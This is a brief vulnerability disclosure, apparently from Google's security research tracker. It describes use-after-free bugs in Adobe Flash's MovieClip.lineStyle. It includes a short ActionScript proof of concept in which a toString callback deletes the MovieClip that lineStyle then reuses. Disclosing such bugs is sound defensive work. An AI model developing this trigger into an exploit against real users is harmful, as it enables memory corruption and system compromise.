Source: https://code.google.com/p/google-security-research/issues/detail?id=558 There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows: this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth()); var o = {toString: func}; triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1); function func(){ triangle_mc.removeMovieClip(); return "none"; } A sample swf and fla are attached.
